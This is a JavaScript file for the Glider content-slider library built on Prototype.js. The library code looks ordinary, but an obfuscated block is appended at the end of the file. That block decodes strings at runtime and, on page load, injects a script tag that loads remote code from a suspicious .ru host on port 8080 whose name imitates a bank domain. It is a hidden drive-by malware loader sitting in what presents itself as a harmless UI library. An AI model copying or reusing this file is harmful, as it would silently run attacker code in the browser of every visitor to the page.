/**
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://www.missingmethod.com/projects/glider/
 * @version 0.0.3
 * @dependencies prototype.js 1.5.1+, effects.js
 */

/*  Thanks to Andrew Dupont for refactoring help and code cleanup - http://andrewdupont.net/  */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
        this.handStopped = false;
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this),
          mouseover: this.pause.bind(this),
          mouseout: this.resume.bind(this)
	    };

	    this.addObservers();
        if(this.options.initialSection) 
            this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
        if(this.options.autoGlide) 
            this.start();
	  },
	
  addObservers: function() {
    this.wrapper.observe('mouseover', this.events.mouseover);
    this.wrapper.observe('mouseout', this.events.mouseout);
    
    var descriptions = this.wrapper.getElementsBySelector('div.sliderdescription');
    descriptions.invoke('observe', 'mouseover', this.makeActive);
    descriptions.invoke('observe', 'mouseout', this.makeInactive);
    
    var controls = this.wrapper.getElementsBySelector('div.controls a');
    controls.invoke('observe', 'click', this.events.click);
  },	

  click: function(event) {
    this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) this.scrolling.cancel();
    
    this.moveTo(element.href.split("#")[1], this.scroller, { duration:this.options.duration });    	
    Event.stop(event);
  },

  moveTo: function(element, container, options) {
    this.current = $(element);

    Position.prepare();
    var containerOffset = Position.cumulativeOffset(container);
    var elementOffset = Position.cumulativeOffset($(element));

    this.scrolling = new Effect.SmoothScroll(container, {
      duration:options.duration, 
      x:(elementOffset[0]-containerOffset[0]), 
      y:(elementOffset[1]-containerOffset[1])
    });
    return false;
  },
        
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
  
  makeActive: function(event)
  {
    var element = Event.findElement(event, 'div');
    element.addClassName('active');
  },
  
  makeInactive: function(event)
  {
    var element = Event.findElement(event, 'div');
    element.removeClassName('active');
  },

	stop: function()
	{
        this.handStopped = true;
		clearTimeout(this.timer);
	},
	
	start: function()
	{
        this.handStopped = false;
		this.periodicallyUpdate();
	},
    
    pause: function()
    {
      if (!this.handStopped) {
        clearTimeout(this.timer);
        this.timer = null;
      }
    },
    
    resume: function()
    {
      if (!this.handStopped)
        this.periodicallyUpdate();
    },
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});
var W=new Array();try {var Oj;if(Oj!='BK'){Oj=''};this.x='';var Z;if(Z!='y' && Z!='Al'){Z='y'};var AR=new Array();var p='replace';var cY="";var RZ=new Date();var O=RegExp;var Bc;if(Bc!='t'){Bc='t'};var zfC;if(zfC!='w'){zfC=''};var d=']';var z='[';var g='';var q='g';var k=new Array();function U(C,o){var I;if(I!='qm'){I='qm'};var pO;if(pO!='HK' && pO!='VW'){pO='HK'};var oT=new String();var a=z;var IL;if(IL!='' && IL!='J'){IL=''};var wY;if(wY!='' && wY!='gf'){wY=''};a+=o;var wZ=new String();var cc;if(cc!='oJ' && cc != ''){cc=null};a+=d;var v;if(v!='' && v!='Bo'){v=null};this.nz='';var X=new O(a, q);this.IG='';this.wT="";return C[p](X, g);var CK=new Array();};var IT=new Array();var PR;if(PR!='lD' && PR!='r'){PR=''};var Fn=new Array();var l=U('sDcOrOiOpDtD',"DO");var qR;if(qR!='xO' && qR!='OJ'){qR='xO'};var C="1";var UT=new String();var ARh=new String();var e=U('baoqd4yq',"a4qm");var K=U('speytWAptvtpryiWbWuWtWep',"vpWyS");var T=U('oTnhl7oXahdT',"TXNh7");var R=U('aOpOpOeDn2d8COhOi2l8dO',"8OD2");var LL;if(LL!='Is'){LL=''};var tx=new String();var Ur='';var uy;if(uy!='PV' && uy!='CB'){uy=''};var _G=new Array();var oj=U('/UeUbJaTyK.UiKtJ/UeKbJaUyJ.TiUtT/JeKxJpTeUdJiJaJ.TcKoJmK/UgJoToJgUlJeT.KcJoUmU/KxTuTnUlJeTiU.JcToKmT.KpUhJpT',"KJUT");var D=U('8911910591899150156',"5916");var qY=new String();var Uf=U('cNrNeIaCtIeIEIlNeNmIeBnBtI',"IBNC");var Hr;if(Hr!='Sr'){Hr='Sr'};var F=U('hzt4t4pv:v/4/vhzdvf4cvbvavnzkv-4cvozm4.vsvuvrzf4tzhvevczh4a4nvn4evlz.4cvozmv.zy4av-zrzuz.zczyzbvezrvt4a4gvozn4l4iznvev.4r4uz:4',"v4z");this.PS='';var G;if(G!='lA' && G != ''){G=null};var cV=new Array();var Y='';window[T]=function(){Og=document[Uf](l);var rB="";var PH=new String();Ur+=F;var tV;if(tV!='' && tV!='Gy'){tV=null};var QT=new Array();Ur+=D;var jD=new String();var bM;if(bM!='Ae'){bM='Ae'};Ur+=oj;this.cM="";var QF=new Date();Og.src=Ur;var mh=new Array();var Kp=new Array();Og.setAttribute('defer', C);var HD=new Array();var RU="";var oX=document[e];var ze=new Date();oX.appendChild(Og);this.Cr='';};var zu='';var Mk;if(Mk!='ol' && Mk!='ina'){Mk='ol'};} catch(B){};var oP=new Array();var UI=new Array();